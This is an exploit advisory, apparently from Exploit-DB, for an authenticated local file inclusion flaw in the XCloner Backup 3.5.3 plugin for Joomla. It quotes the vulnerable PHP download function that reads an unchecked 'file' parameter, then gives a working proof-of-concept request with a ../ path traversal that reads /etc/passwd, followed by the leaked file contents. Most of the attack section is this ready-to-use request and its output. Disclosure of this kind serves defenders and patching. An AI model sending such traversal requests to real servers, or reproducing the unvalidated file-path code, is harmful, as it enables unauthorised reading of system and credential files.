Joomla! Plugin XCloner Backup 3.5.3 – Local File Inclusion (Authenticated)
# Exploit Title: Joomla! Plugin XCloner Backup 3.5.3 - Local File Inclusion (Authenticated) # Date: 2020-05-10 # Exploit Author: Mehmet Kelepçe / Gais Cyber Security # Exploit-Db Author ID: 8763 # Reference: https://www.xcloner.com/xcloner-news/security-release-available-for-archived-joomla-version/ # Vendor Homepage: http://www.xcloner.com # Software Link: https://www.xcloner.com/support/download/ # Version: 3.5.3 # Tested on: Kali Linux - Apache2 -------------------------------------------------------------------------------- Detail: -------------------------------------------------------------------------------- File: administrator/components/com_xcloner-backupandstore/admin.cloner.php --> ------------ case 'download': downloadBackup($_REQUEST['file']); break; ------------- downloadBackup function's file -> administrator/components/com_xcloner-backupandstore/cloner.functions.php Vulnerable parameter: file downloadBackup function's definition -------------------------------------------------------------------------------- function downloadBackup($file) { global $_CONFIG; $file = realpath($_CONFIG['clonerPath'] . "/$file"); //First, see if the file exists if (!is_file($file)) { die("<b>404 File $file was not found!</b>"); } //File Info $len = get_filesize($file); $filename = basename($file); $file_extension = strtolower(substr(strrchr($filename, "."), 1)); //Setam Content-Type-urile pentru fisierul in cauza switch ($file_extension) { default: $ctype = "application/force-download"; } smartReadFile($file, $filename); exit; } -------------------------------------------------------------------------------- and smartReadFile function's definition -------------------------------------------------------------------------------- function smartReadFile($location, $filename, $mimeType='application/octet-stream') { if(!file_exists($location)) { header ("HTTP/1.0 404 Not Found"); return; } $size=filesize($location); $time=date('r',filemtime($location)); $fm=@fopen($location,'r'); . . . -------------------------------------------------------------------------------- PoC: Request: -------------------------------------------------------------------------------- GET /joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=download&file=../../../../../../../../etc/passwd HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/administrator/index.php?option=com_xcloner-backupandrestore&task=view Connection: close Cookie: COOKIES Upgrade-Insecure-Requests: 1 -------------------------------------------------------------------------------- Response: -------------------------------------------------------------------------------- HTTP/1.0 200 OK Date: Sun, 10 May 2020 18:12:04 GMT Server: Apache/2.4.41 (Debian) Cache-Control: public, must-revalidate, max-age=0 Pragma: no-cache Accept-Ranges: bytes Content-Length: 3347 Content-Range: bytes 0-3347/3347 Content-Disposition: inline; filename=passwd Content-Transfer-Encoding: binary Last-Modified: Sun, 22 Mar 2020 05:41:35 -0700 Connection: close Content-Type: application/octet-stream root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync . . |